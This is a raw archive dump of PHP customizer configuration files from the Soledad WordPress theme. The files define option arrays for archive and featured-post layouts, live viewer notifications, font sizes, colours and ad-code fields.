	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Show Comments Count', 'soledad' ),
	'id'       => 'penci_arcf_cm',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Show Views Count', 'soledad' ),
	'id'       => 'penci_arcf_view',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Show Reading Time', 'soledad' ),
	'id'       => 'penci_arcf_reading',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Categories on Mobile', 'soledad' ),
	'id'       => 'penci_arcf_mcat',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Post Meta on Mobile', 'soledad' ),
	'id'       => 'penci_arcf_mmeta',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Google Adsense/Custom HTML Code Display Below Featured Posts', 'soledad' ),
	'id'       => 'penci_arcf_adbelow',
	'type'     => 'soledad-fw-textarea',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'       => __( 'Latest Posts Heading Title Below the Featured Area', 'soledad' ),
	'description' => __( 'Replace your category/tag name with {name} string.', 'soledad' ),
	'type'        => 'soledad-fw-text',
	'id'          => 'penci_arf_title',
	'default'     => 'Latest in {name}',
	'sanitize'    => 'penci_sanitize_choices_field'
);
$options[] = array(
	'id'       => 'penci_arf_title_style',
	'label'    => __( 'Select Latest Posts Title Heading Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		''                  => __( 'Follow Title Box Style', 'soledad' ),
		'style-1'           => __( 'Default Style', 'soledad' ),
		'style-2'           => __( 'Style 2', 'soledad' ),
		'style-3'           => __( 'Style 3', 'soledad' ),
		'style-4'           => __( 'Style 4', 'soledad' ),
		'style-5'           => __( 'Style 5', 'soledad' ),
		'style-6'           => __( 'Style 6 - Only Text', 'soledad' ),
		'style-7'           => __( 'Style 7', 'soledad' ),
		'style-9'           => __( 'Style 8', 'soledad' ),
		'style-8'           => __( 'Style 9 - Custom Background Image', 'soledad' ),
		'style-10'          => __( 'Style 10', 'soledad' ),
		'style-11'          => __( 'Style 11', 'soledad' ),
		'style-12'          => __( 'Style 12', 'soledad' ),
		'style-13'          => __( 'Style 13', 'soledad' ),
		'style-14'          => __( 'Style 14', 'soledad' ),
		'style-15'          => __( 'Style 15', 'soledad' ),
		'style-16'          => __( 'Style 16', 'soledad' ),
		'style-2 style-17'  => __( 'Style 17', 'soledad' ),
		'style-18'          => __( 'Style 18', 'soledad' ),
		'style-18 style-19' => __( 'Style 19', 'soledad' ),
		'style-18 style-20' => __( 'Style 20', 'soledad' ),
		'style-21'          => __( 'Style 21', 'soledad' ),
		'style-22'          => __( 'Style 22', 'soledad' ),
		'style-23'          => __( 'Style 23', 'soledad' ),
		'style-24'          => __( 'Style 24', 'soledad' ),
		'style-25'          => __( 'Style 25', 'soledad' ),
		'style-26'          => __( 'Style 26', 'soledad' ),
		'style-27'          => __( 'Style 27', 'soledad' ),
	)
);
/* Font size & color */
$options[] = array(
	'id'       => 'penci_heading_featured_fzc',
	'label'    => esc_html__( 'Featured Posts Font Size & Colors', 'soledad' ),
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'id'       => 'penci_arf_catfs',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Categories', 'soledad' ),
	'default'  => '',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_catfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_arf_t_mfs',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Big Grid Font Size for Post Title', 'soledad' ),
	'id'       => 'penci_arf_t_fs',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_t_fs',
		'mobile'  => 'penci_arf_t_mfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_arf_t_bmfs',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Title on Big Items', 'soledad' ),
	'id'       => 'penci_arf_t_bfs',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_t_bfs',
		'mobile'  => 'penci_arf_t_bmfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Big Grid Font Size for Post Meta', 'soledad' ),
	'id'       => 'penci_arf_meta_fs',
	'type'     => 'soledad-fw-size',
	'default'  => '',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_meta_fs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Color */
$options[] = array(
	'id'       => 'penci_arf_cat_cl',
	'label'    => __( 'Post Categories Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'id'       => 'penci_arf_cat_hcl',
	'label'    => __( 'Post Categories Hover Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'id'       => 'penci_arf_t_cl',
	'label'    => __( 'Post Title Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Post Title Hover Color', 'soledad' ),
	'id'       => 'penci_arf_t_hcl',
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_arf_meta_cl',
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Post Meta Links Color', 'soledad' ),
	'id'       => 'penci_arf_meta_lcl',
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Post Meta Links Hover Color', 'soledad' ),
	'id'       => 'penci_arf_meta_hcl',
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
// End Category Featured
$options[] = array(
	'label'    => esc_html__( 'Other Settings', 'soledad' ),
	'id'       => 'penci_heading_other_archi',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Hide Category Description', 'soledad' ),
	'id'       => 'penci_archive_hide_desc',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Select Posts Order on Archive Pages', 'soledad' ),
	'id'       => 'penci_general_show_post_order',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => __( 'Show Date Filter on Archive Pages', 'soledad' ),
	'id'       => 'penci_archive_show_date_filter',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Animation on Scroll', 'soledad' ),
	'id'       => 'penci_archive_enable_animation',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Enable Underline Color for Post Titles on Hover', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_archive_hover_underline',
);
$options[] = array(
	'label'    => __( 'Show Category Number Count', 'soledad' ),
	'id'       => 'penci_archive_show_cat_count',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Enable Link on Excerpt Content.', 'soledad' ),
	'description' => __( 'Navigate to the post when clicking on the excerpt content.', 'soledad' ),
	'id'          => 'penci_archive_excerpt_link',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Load More Button for Categories, Tags, Search, Archive Pages', 'soledad' ),
	'id'       => 'penci_archive_nav_ajax',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Infinite Scroll for Categories, Tags, Search, Archive Pages', 'soledad' ),
	'id'       => 'penci_archive_nav_scroll',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Enable AJAX Numeric/Next-Prev Pagination', 'soledad' ),
	'description' => __( 'You can enable the numbered pagination feature through General > General Settings > Enable Page Navigation Numbers', 'soledad' ),
	'id'          => 'penci_archive_ajax_navigation',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Number of Posts for Each Time Load More Posts', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'id'       => 'penci_arc_number_load_more',
	'default'  => '6',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arc_number_load_more',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'label'    => __( 'Move Description of Category, Tag, Archive Pages Below Post Listings', 'soledad' ),
	'id'       => 'penci_archive_move_desc',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Show Child Categories on Single Category Page', 'soledad' ),
	'id'       => 'penci_archive_show_sub',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Child Categories Columns', 'soledad' ),
	'id'       => 'penci_archive_show_sub_col',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'2'    => '2 Columns',
		'3'    => '3 Columns',
		'4'    => '4 Columns',
		'5'    => '5 Columns',
	),
	'default'  => '3',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Show Child Categories Description?', 'soledad' ),
	'id'       => 'penci_archive_show_sub_desc',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Auto Collapse Description Content', 'soledad' ),
	'id'       => 'penci_archive_disable_desc_collapse',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Category, Tags, Archive Title Align', 'soledad' ),
	'id'       => 'penci_archive_titlealign',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'default' => 'Default',
		'left'    => 'Left',
		'right'   => 'Right',
		'center'  => 'Center',
	),
	'default'  => 'default',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Category, Tags, Archive Description Align', 'soledad' ),
	'id'       => 'penci_archive_descalign',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''       => 'Default',
		'left'   => 'Left',
		'right'  => 'Right',
		'center' => 'Center',
	),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Enable Sidebar On Archives', 'soledad' ),
	'id'       => 'penci_sidebar_archive',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Sidebar On Mobile', 'soledad' ),
	'id'       => 'penci_sidebar_archive_mobile',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Left Sidebar On Archives', 'soledad' ),
	'id'       => 'penci_left_sidebar_archive',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Two Sidebars On Archives', 'soledad' ),
	'id'       => 'penci_two_sidebar_archive',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove "Category:" Words on Category Pages', 'soledad' ),
	'id'       => 'penci_remove_cat_words',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove "Tag:" Words on Tag Pages', 'soledad' ),
	'id'       => 'penci_remove_tag_words',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Custom Sidebar Display on Category Pages', 'soledad' ),
	'id'          => 'penci_sidebar_name_category',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option(),
	'default'     => 'main-sidebar',
	'sanitize'    => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'       => __( 'Custom Sidebar Left Display on Category Pages', 'soledad' ),
	'id'          => 'penci_sidebar_left_name_category',
	'description' => __( 'If the sidebar you choose is empty, the Main Sidebar Left will be displayed. This option is only used when you enable 2 sidebars for archive pages.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option(),
	'default'     => 'main-sidebar-left',
	'sanitize'    => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'       => __( 'Google Adsense/Custom HTML Code to Display Above Posts Layout for Archive Pages', 'soledad' ),
	'id'          => 'penci_archive_ad_above',
	'description' => __( 'You can display Google AdSense or custom HTML code above posts on category, tag, search, and archive pages by using this option.', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'       => __( 'Google Adsense/Custom HTML Code to Display Below Posts Layout for Archive Pages', 'soledad' ),
	'id'          => 'penci_archive_ad_below',
	'description' => __( 'You can display Google AdSense or custom HTML code below posts on category, tag, search, and archive pages by using this option', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'    => esc_html__( 'In-Feed Ads', 'soledad' ),
	'id'       => 'penci_heading_infeed_ads_archi',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Insert In-feed Ads Code After Every How Many Posts?', 'soledad' ),
	'id'       => 'penci_infeedads_archi_num',
	'type'     => 'soledad-fw-size',
	'default'  => '3',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_infeedads_archi_num',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '3',
		),
	),
);
$options[] = array(
	'label'       => __( 'In-feed Ads Code/HTML', 'soledad' ),
	'description' => __( 'Please use normal responsive ads here to get the best results. In-feed ads cannot work with auto-ads because auto-ads will randomly place your ads in random places on the pages.', 'soledad' ),
	'id'          => 'penci_infeedads_archi_code',
	'type'        => 'soledad-fw-textarea',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'    => __( 'In-feed Ads Layout Type', 'soledad' ),
	'id'       => 'penci_infeedads_archi_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''     => __( 'Follow Current Layout', 'soledad' ),
		'full' => __( 'Full Width', 'soledad' ),
	),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);

return $options;
PK     0w\=v
  
  >  customizer/config/sections/pencidesign_general_lvn_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'General', 'soledad' ),
	'id'       => 'penci_live_viewer_heading_01',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_live_viewer_enable',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Live Viewer Notifications', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_live_viewer_singular_text',
	'default'  => '1 viewer reading this {object}',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Text: 1 Viewer', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'id'       => 'penci_live_viewer_plural_text',
	'default'  => '{view} viewers are reading this {object}',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Text: {view} Viewers', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'id'       => 'penci_live_viewer_position',
	'default'  => 'bottom-left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Position', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'bottom-left'  => __( 'Bottom Left', 'soledad' ),
		'bottom-right' => __( 'Bottom Right', 'soledad' ),
		'top-right'    => __( 'Top Right', 'soledad' ),
		'top-left'     => __( 'Top Left', 'soledad' ),
	]
);
$options[] = array(
	'label'    => __( 'Post Type Manager', 'soledad' ),
	'id'       => 'penci_live_viewer_heading_02',
	'type'     => 'soledad-fw-header',
);
$post_type_exclude    = array(
	'attachment',
	'revision',
	'nav_menu_item',
	'safecss',
	'penci-block',
	'penci_builder',
	'custom-post-template',
	'archive-template',
);
$posts_types = get_post_types( [ 'show_in_nav_menus' => true ], 'objects' );

foreach ( $posts_types as $type ) {

	if ( in_array( $type->name, $post_type_exclude ) ) {

		continue;
	}

	$options[] = array(
		'id'       => 'penci_live_viewer_disable_' . $type->name,
		'default'  => false,
		'sanitize' => 'penci_sanitize_checkbox_field',
		'label'    => __( 'Hidden on', 'soledad' ) .  ' ' . $type->label,
		'type'     => 'soledad-fw-toggle',
	);
}

$options[] = array(
	'label'    => __( 'Styles', 'soledad' ),
	'id'       => 'penci_live_viewer_heading_style',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'    => __( 'Popup Color', 'soledad' ),
	'id'       => 'penci_live_viewer_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Popup Background Color', 'soledad' ),
	'id'       => 'penci_live_viewer_bgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
return $options;PK     0w\?&O'  '  F  customizer/config/sections/penci_section_homepage_fontsize_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Featured Boxes', 'soledad' ),
	'id'       => 'penci_section_featured_boxes_cheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Text on Featured Boxes', 'soledad' ),
	'id'       => 'penci_home_box_text_size',
	'ids'      => array(
		'desktop' => 'penci_home_box_text_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Popular Posts', 'soledad' ),
	'id'       => 'penci_section_popular_cheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for "Popular Posts" heading', 'soledad' ),
	'id'       => 'penci_home_polular_fsectitle',
	'ids'      => array(
		'desktop' => 'penci_home_polular_fsectitle',
		'mobile'  => 'penci_home_polular_mfsectitle',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'id'       => 'penci_home_polular_mfsectitle',
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-hidden',
	'label'    => __( 'Font Size for "Popular Posts" heading', 'soledad' ),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Titles on Popular Posts', 'soledad' ),
	'id'       => 'penci_home_popular_post_font_size',
	'ids'      => array(
		'desktop' => 'penci_home_popular_post_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Date on Popular Posts', 'soledad' ),
	'id'       => 'penci_home_popular_post_fdate',
	'ids'      => array(
		'desktop' => 'penci_home_popular_post_fdate',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Home Title Box', 'soledad' ),
	'id'       => 'penci_section_home_titlebox_cheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Home Title Box', 'soledad' ),
	'id'       => 'penci_featured_cat_size',
	'ids'      => array(
		'desktop' => 'penci_featured_cat_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Featured Categories', 'soledad' ),
	'id'       => 'penci_section_featured_cat_cheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Categories on Style 8', 'soledad' ),
	'id'       => 'penci_featuredcat_cat_size',
	'ids'      => array(
		'desktop' => 'penci_featuredcat_cat_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => '13',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'label'       => __( 'Font Size for Post Meta', 'soledad' ),
	'description' => __( 'Include author name, date, comment count', 'soledad' ),
	'id'          => 'penci_featuredcat_meta_size',
	'ids'         => array(
		'desktop' => 'penci_featuredcat_meta_size',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Excerpt', 'soledad' ),
	'id'       => 'penci_featuredcat_excerpt_size',
	'ids'      => array(
		'desktop' => 'penci_featuredcat_excerpt_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_featuredcat_title_size_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'General Font Size for Post Titles', 'soledad' ),
	'id'       => 'penci_featuredcat_title_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featuredcat_title_size',
		'mobile'  => 'penci_featuredcat_title_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_featuredcat_smtitle_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Small Posts', 'soledad' ),
	'id'       => 'penci_featuredcat_smtitle_size_mobile',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featuredcat_smtitle_size_mobile',
		'mobile'  => 'penci_featuredcat_smtitle_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_featuredcat4_title_size_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Style 4', 'soledad' ),
	'id'       => 'penci_featuredcat4_title_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featuredcat4_title_size',
		'mobile'  => 'penci_featuredcat4_title_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_featuredcat12_title_size_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Style 12 & 13', 'soledad' ),
	'id'       => 'penci_featuredcat12_title_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featuredcat12_title_size',
		'mobile'  => 'penci_featuredcat12_title_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_featuredcat14_ftitle_size_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on First Post on Style 14', 'soledad' ),
	'id'       => 'penci_featuredcat14_ftitle_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featuredcat14_ftitle_size',
		'mobile'  => 'penci_featuredcat14_ftitle_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_featuredcat14_title_size_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Other Posts on Style 14', 'soledad' ),
	'id'       => 'penci_featuredcat14_title_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featuredcat14_title_size',
		'mobile'  => 'penci_featuredcat14_title_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
